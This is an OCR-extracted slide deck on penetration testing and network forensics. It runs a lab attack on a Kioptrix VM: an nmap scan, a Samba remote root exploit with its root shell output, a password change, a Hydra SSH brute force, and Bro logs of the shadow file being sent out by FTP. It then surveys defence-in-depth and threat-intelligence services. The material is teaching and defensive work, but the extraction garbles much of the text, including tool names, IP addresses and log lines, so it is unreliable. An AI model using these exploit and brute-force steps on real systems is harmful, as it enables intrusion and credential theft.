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V Open source search B Footprinting
v
V Port Scan, OS detection | Scanning
V List User accounts ' : V
V ldentify application \Enumerat|0n<— v
v
V Password sniffing B f _
V Bruteforcing Galnln? access Vv
V Password cracking — . o
V' Known exploits Escalatlnig pr|V|Iege
V Evaluate Trust Search for clear L Pilfering

text passwords

}
Covering tracks

V Create rogue user accounts,
Schedule batch jobs, plant l

remote control services, install " a ! Ref.
monitoring mechanismetc Creatlng baCk doora Stuart McClure, et.alHacking Exposed7

V SYN flood. ICMP techni Edition¢ Network Security Secrets & Solutions
00d, echniques
Out of Bounds TCP option, e DDo3DoS+ 7
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Clear logs, Hide tools
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Measploit
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Snort,Suricata BRO,
Wireshark PRADS1map, X

On VM
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- . OEE= "I Kioptrixlevel 1 |
: |1l -Aquired NB 2 i € |
; ', of this machine |
' SecurityMonitor 1 |
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1 SecurityOnion) On VM, ,'

Virtual Switch

VMwareworkstation on Windows 8.1/
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BackTrack5
root@bt :~# nmap -n-sTUV-pT:22,80,111,139,443,U:111,137192.168.24.132
€. .
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protqggl 1 99
80/tcp open http Apache httpd 1.3.20 FEP

111/tcp open rpchind 2 (RPC #100000)

139/tcp open netbios -ssn Samba smbd (workg DHTHBHSE )L o

e é

Do you want to be a Professional Penetration Tester? (Y

root@bt :~# ./SambaVuln10 -b 0 192.168.24.13
samba -2.2.8 < remote root exploit by eSDee

OO |
\ e &

+ Bruteforce mode. (Linux)
+ Host is running samba. Conceptof Proof

+ Worked!

*** JE MOET JE MUIL HOUWE
Linux kioptrix.levell 2.4.7 -10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid =0(root) gid =0(root) groups=99(nobody )
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+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!

*** JE MOET JE MUIL HOUWE

(6)

Linux kioptrix.levell 2.4.7 -10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

uid =0(root) gid =0(root) groups=99(nobody )

XPoD

passwd harold

New password: lotsofPasswords

Retype new password: lotsofPasswords
Changing password for user  harold
passwd : all authentication tokens updated

successfully

B BruteForce

Target Passwords Tuning Specific | Start

ydra v7.3 (c y van Hauser) avid Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-12 19:10:51

[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abi
[DATA] 1 task, 1 server, 1707659 login tries (1:1/p:1707659), ~1707659 tries per task

[DATA] attacking service ssh on port 22

[VERBOSE] Resolving addresses ... done

[ATTEMPT] target 192.168.24.132 - login "harold" - pass "harold" - 1 of 1707659 [child 0]

f 1707659 [child 0]

4 of 1707659 [child 0]

" - 5 of 1707659 [child 0]

6 of 1707659 [child 0]

- 7 of 1707659 [child 0]

- 8 of 1707659 [child 0]

[ATTEMPT] target 192.168.24.132 - login "harold" - pass "
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "
[ATTEMPT] target 192.168.24.132 - login "harold" - pass " 9 of 1707659 [child 0]

[ATTEMPT] target 192.168.24.132 - login "harold" - pass " [EZ]" - 10 of 1707659 [child 0]

[ATTEMPT] target 192.168.24.132 - login "harold” - pass "[Z[ IR EE" - 11 of 1707659 [child 0]

[ATTEMPT] target 192.168.24.132 - login "harold" - pass " " - 12 of 1707659 [child 0]

[ATTEMPT] target 192.168.24.132 - login "harold" - pass "!magnus" - 13 of 1707659 [child 0]

[ATTEMPT] target 192.168.24.132 - login "harold" - pass "!power" - 14 of 1707659 [child 0]

[ATTEMPT] target 192.168.24.132 - login "harold" - pass ""A" SIDES" - 15 of 1707659 [child 0]

[ATTEMPT] target 192.168.24.132 - login "harold" - pass ""DETROIT" GARY & CC TH WIGGINS" - 16 of 1707659 [child 0]
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "lotsofPasswords" - 17 of 1707659 [child 0]

[22]1[ssh] host: 192.168.24.132 login: harold password: lotsofPasswords lo
<finished >
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Firewall
Access blocked at tHarewall (L3, 4)

. t IPS Iptruder
Access blocked at the Ifli8AP) Prevention Systejn

Intruder attempts accessIbut blocked By AV
(Anti Virus)

&

DLP(Da_ta Loss f Intruder reaches data, but
Prevention) denied bywhile exfiltrating

xA

DRM(Digital Intruder exfiltratesdata, but

Rights denied byDRM;
managements) I
Defense in Depth X
SIIF\{IIfET

RichardBejtlich Thepractice of network securitynonitoring¢ Understanding INCIDENT DETECTION AND RESPONSE
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Ref.
Sherri DAVIDOFF, et. Al., Network Forensiaacking Hackers Through Cyberspace
Chris Sanders, et. al., Applied Network Security Moniter@gllection, Detection, and Analysis
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me NetworkForensic -

BackTrack5

, NetworkForensiclool (BRO(OpeBource) Forensic
v SecurityOnion) = * =
V BRO

1399888506.156569 Cg9GGd3cOhFEjIJC32.168.24.13133676 192.168.24.2 53 udp dns
1399888541.792922 CYbKXA4hYLIYGdERR2I168.24.132 1027 192.168.24.1361529 tcp ftp-data
1399888543.820839 CQRPKKKhgH74jXYJ6 192.168.2200% 192.168.24.131 51083cp ftp-data
1399888506.154524°0GgPg2YyIR8XuUE21682.168.24.132 1026 192.168.24.131 21 tcp ftp
1399888487.895784 CQyk9g4l6LINQGYRV5 192.168.2450328 192.168.24.132 4529%cp -

FTP

1399888541.792345°0GgPg2YyIRSXUE2AER2.168.24.132 1026 192.168.24.131fplogin <hidden> PASV
EnteringPassive Mod¢192,168,24,131,240,89) X X

1399888541.793302Z0GgPg2YyIRSXUE2AE?.168.24.132 1026 192.168.24.131ftplogin <hidden> STOR
ftp://192.168.24.131/./shadow XXPD

1399888543.82058C0GgPg2YyIR8XUE2162.168.24.132 1026 192.168.24.131f(plogin <hidden> PASV
EnteringPassive Mode (192,168,24,131,199,139)X X ®

» FT)P( 0 .
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TEAM CYMRU TEAM CYMRU
COMMUNITAY SERVICES

COMMERCIAL SERVICES

Team Cymru Research NFP is a specialized Internet security research firm and 501(c)3 non-profit dedic
identify and eradicate problems in their networks, providing insight that improves lives.

HyXMDoeCMeq | Jack Bauer would be proud (ref latest series of "24) as ‘Hack-proof drone is revealed by the Pentagon (cha

TEAM CYMRU
COMMUNITY : . ” =
RECENT DATA 1 jadeadaadaaah
SERVICES
Top 10 UDP Ports (logarithmic scale)
b NEWS This chart shows the top 10 UDP ports seen in sampled global Inter
f difference between the top port (usually UDP/S3) and the bottom port
» SERVICES N
& —
» MONITORING
&

P READING ROOM

s

CucKoo

Home

Malware? Tear it apart, discover its ins and outs and collect
actionable threat data. Cuckoo is the leading open source
automated malware analysis system.

About Download Participate

Being ableto 1 Sian In | Reqister
operate is the =
srdbostan B Search Reports: | 1] 4]
w8k ThreatExpert

Read more »

total

ERC
g
o VirusTotal [, BERLALVZ 741 Y URL & ST B0 T — 2TT. D417
— I s g g UD PIHOTRE BEOEEDTILY PRSI TEEY.
& F

Dozl @URL Qig®

TeamCymru

ZrABERALTUE A
PRI A 64 MB

(2% ¢ FBIED ) o 0F R 0T B 2RARPICRIEL I AL, ZOD7l%E
LR RALET.

VirusTotal 2tz d 205 ¢ —FTHEETEIAC
ST TS50 12— R —ERBBL TS,

virustotal
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Learn Mors 3

Welcome to ThreatExpert

ThreatExpert is an sdvanced sutomated thrast snalysis system designad to analyzs and report the behavior of computar virusss,
worms, trojans, adware, spyvare, and other security-related risks in a fully sutemated made.

In only = few minutes ThreatExpert can process 3 sample and generate a highly detailed threat report with the level of technical detail
that matches or exceeds antivirus industry stsndards such as those normally found in online virus =ncyclopedias.

Malware -

Trojen.Lineage.Gen!Pac.3

Geographic Distribution of Threats

W chin= =
Trojan.Popuper spaia- 2y
B sussian
Worm.IM.Sohanad Federation United States
United Chi
Application.Ardamax_Keylogger . erazil Kingdom n=
Email-Worm.Brontok [ ] Unitsd
Kingdom Brazil
Win32.Virut.Gen.s B uotee
States
RogusAntiSpyvare. AntiVirusBro
B se=in Russian
Worm.Hamweg.Gen Faderation
W cermany

ThreatExpert
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IP Address Blacklist Checker Tool

V R t t' In a nutshell, IPVoid is a free service used to scan an IP address through multiple USEEFUL SERVICES
e p u a I O n DNS-based blacklists and IP reputation services, to facilitate the detection of IP

Check Website Reputation

addresses involved in malware incidents and spamming activities. The usage is very

simple, just insert the IP address in the form below and press the button. Anti-Executable Software

W _— Open Multiple URLs at Once
WARNING: All domains on this website should be considered dangerous. If you do
not know what you are doing here, it is recommended you leave right away. This H
M I\AID ro wehsite is a resource for security professionals and enthusiasts. ] URLVOId
L) AT o

Query Malware Domain List or alternatively,
D mal nLISt Submit malware urls and share information in our Forums WebS|te RepUtatlon ChECker TOOI ot et o

In a nutshell, URLVoid is a free service that analyzes a website through multiple blacklist

Fast Folder Eraser Pro

Malware Domain List | Forums | Recent Updates | RSS update feed | Contact us e

4 VI, eng € s to facilitate d ect ent and
TRACKER ngines and online reputation tools to facilitate the detection of fraudulent and

USEFUL SERVICES

malicious websites. This service helps you to identify websites involved in malware

Home | News | FAQ | SpyEye Blocklist | SpyEye Tracker | RSS Feeds | Removals | Contact | Links

Welcome to SpyEye Tracker

incidents, fraudulent activities and phishing websites. > |P Address Blacklist Check
The SpyEye Tracker is another project by abuse.ch. It is similar to the ZeuS Tracker with the slight difference that SpyEye Tracker tracks and monitors malicious SpyEye H » Anti-Executable Software
Command&Control Servers (and not ZeuS C&Cs). SpyEye Tracker provides blocklists in different formats (eg. for Squid Web-Proxy or iptables) to avoid that infected clients can e O I
access the C&C servers. Additionally, SpyEye Tracker should help ISPs, CERTs and Law Enforcement to track malicious SpyEye C&C servers which are their responsibility. —_— * Fast Folder Eraser Pro

Here are some quick statistics about the SpyEye Trojan:

i e s Spyevelracker

* SpyEye CAC servers online: 1

The map m 7 BLOCK

these

uS Tracker

WATCH
Welcome to the ZeuS Tracker for these Bad Actors
ZeusS Tracker tracks ZeuS Command&Control servers (hosts) around the world and provides you a domain- and a IP-blocklist. If you have any questions
please take a look into the FAQ or send me a email (contact).
Here are some quick statistics about the ZeuS crimeware: Confidence
High confidence i
« ZeuS CAC servers tracked: 1051 Z T k . = Correlation
* Zeus CA&C servers online: 452 e u S raC e r bad actor information .
® ZeuS C&C servers with files online: 41 . prOVldes a
o Zeus FakeURLS tracked: 1 is passed back to confidence
* Zeus FakeURLs online: 0 ici :
* Average ZeuS binary Antivirus detection rate: 39.47% a pal::act':lannlt: Ifg:;al ratmg and
v pag PP s identification of
‘ou can find more interesting statistics about the ZeuS crimeware on the ZeuS Tracker statistic page. protectlons
The map below shows a dot for each ZeuS Command&Control server (ip or domain). bad actors
4 % ~ Information  3rd Party
Sharing data
Participating Sites Relationships  sources

NRENSAC Intelligence
CollectivelntelligenceFramewaork)
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